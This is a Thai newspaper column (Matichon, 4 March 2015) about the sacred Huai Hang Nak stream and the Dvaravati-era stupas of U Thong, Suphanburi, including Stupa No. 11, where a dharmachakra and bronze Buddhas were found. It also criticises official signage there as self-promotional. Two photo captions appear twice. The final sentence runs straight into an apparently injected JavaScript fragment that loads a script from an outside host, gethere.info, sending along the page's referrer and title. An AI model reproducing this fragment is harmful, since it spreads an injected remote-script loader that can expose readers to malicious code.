มติชนรายวัน ฉบับประจำวันพุธที่ 4 มีนาคม 2558

 

ต้นทางไทย ที่เมืองอู่ทอง สุพรรณ

          ห้วยหางนาค เป็นลำน้ำศักดิ์สิทธิ์ มีต้นน้ำอยู่บนเขาพุหางนาค ไหลผ่านที่ราบในหุบเขาด้านทิศตะวันตก ลงสู่คูเมืองอู่ทอง (อ. อู่ทอง จ. สุพรรณบุรี)

          เขาพุหางนาค อยู่บนทิวเขาศักดิ์สิทธิ์ของเมืองอู่ทอง บนยอดเขามีหินตั้งในศาสนาผี ราว 2,000 ปีมาแล้ว และมีสถูปเจดีย์ในศาสนาพุทธ ยุคทวารวดี ราว 1,500 ปีมาแล้ว

          สองฝั่งห้วยหางนาค มีสถูปเจดีย์เป็นระยะๆตลอดทาง

          [ทางราชการเรียก โบราณสถาน เจดีย์หมายเลขต่างๆตามที่กำหนด ซึ่งเป็นศัพท์เฉพาะของนักโบราณคดี ที่มนุษย์ทั่วไปไม่รู้เรื่องด้วย จึงควรแก้ไขเพื่อสื่อสารให้มนุษย์ธรรมดาเข้าใจง่ายๆ]

          แต่มีแห่งหนึ่งอยู่ฝั่งใต้ของห้วยหางนาค พบสถูปเจดีย์และศาสนวัตถุสำคัญมาก เช่น

          ธรรมจักร, เสา, และแท่นรองรับ ทั้งหมดเป็นหินแกร่ง

          พระพุทธรูปสำริด 4 องค์ ปางแสดงธรรมทั้งสองพระหัตถ์

โบราณสถาน เจดีย์หมายเลข 11 ที่เห็นเป็นซากอิฐ เพิ่งขุดแต่งใหม่ในสุมทุมพุ่มไม้ ใกล้ริมฝั่งห้วยหางนาค เคยพบธรรมจักรและพระพุทธรูปปางแสดงธรรม มีป้ายราชการขนาดใหญ่และฐานที่ตั้งโอ่อ่าอลังการ เนื้อหาประชาสัมพันธ์ตนเอง มากกว่าแบ่งปันความรู้

โบราณสถาน เจดีย์หมายเลข 11 ที่เห็นเป็นซากอิฐ เพิ่งขุดแต่งใหม่ในสุมทุมพุ่มไม้ ใกล้ริมฝั่งห้วยหางนาค เคยพบธรรมจักรและพระพุทธรูปปางแสดงธรรม มีป้ายราชการขนาดใหญ่และฐานที่ตั้งโอ่อ่าอลังการ เนื้อหาประชาสัมพันธ์ตนเอง มากกว่าแบ่งปันความรู้

          ศาสนวัตถุเหล่านี้เป็นพยานหลักฐานยืนยันว่าอู่ทองเป็นต้นทางประวัติศาสตร์ไทย หรือสั้นๆว่า ต้นทางไทย เพราะเมืองอู่ทองยกย่องพุทธศาสนาแบบพระเจ้าอโศก ซึ่งจะเป็นรากฐานต่อไปให้รัฐสมัยหลังๆทำตามจนทุกวันนี้ เช่น อยุธยา, สุโขทัย, ฯลฯ

          กรมศิลปากร เคยขุดแต่งไว้นานแล้ว จากนั้นปล่อยทิ้งรกร้างนานหลายสิบปี ไม่มีใครรู้เรื่อง เพราะไม่อธิบาย

ป้ายอยู่ริมถนนแยกจากทางเข้าวัดเขาทำเทียม ผ่านหน้าผาระเบิดหินที่กำลังสลักพระพุทธรูปขนาดใหญ่ ซึ่งไม่ควร

ป้ายอยู่ริมถนนแยกจากทางเข้าวัดเขาทำเทียม ผ่านหน้าผาระเบิดหินที่กำลังสลักพระพุทธรูปขนาดใหญ่ ซึ่งไม่ควร

          เมื่อวันอังคาร 24 กุมภาพันธ์ ผมไปพูดคุยเล่าเรื่องเมืองอู่ทองกับครูกลุ่มหนึ่งของโรงเรียนใน อ. อู่ทอง เลยแวะไปดูย่านนั้น พบว่ามีการขุดแต่งบูรณะใหม่ แล้วมีป้ายตั้งไว้ริมถนนให้คนผ่านไปมาอ่านข้อมูลความรู้ด้วย

          ข้อความในป้ายมีหลายบรรทัด ตัดออกได้เกินครึ่ง เพราะส่วนมากไม่เกี่ยวข้องข้อมูลความรู้สังคมวัฒนธรรมเมืองอู่ทองบริเวณศักดิ์สิทธิ์นี้

          ป้ายเหล่านี้ควรพัฒนาให้มีรูปแบบร่วมสมัย แล้วใส่รูปประกอบโบราณวัตถุที่ขุดพบเข้าไปด้วย เพราะทำได้ไม่ยาก

          ควรทำรูปสันนิษฐานสถูปเจดีย์ว่าถ้ายังอยู่ครบสมบูรณ์จะมีรูปร่างหน้าตาอย่างไร (เหมือนทำไว้แล้วที่สุโขทัย, อยุธยา)

          ป้ายอย่างนี้ต้องมุ่งแบ่งปันข้อมูลความรู้ให้ชาวบ้านคนท้องถิ่นและนักท่องเที่ยวทั่วไป เข้าใจง่ายๆ เร็วๆ ด้วยภาษาสั้น กระชับ ตรงไปตรงมา (เคยพูดกันซ้ำซากนานหลายปีแล้ว)

          แต่ทางการมักมุ่งประชาสัมพันธ์หน่วยงานตนเอง มากกว่าทำป้ายเพื่อแบ่งปันข้อมูลความรู้ สนับสนุนการศึกษาทางเลือกและการท่องเที่ยวเชิงวัฒนธรรมs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;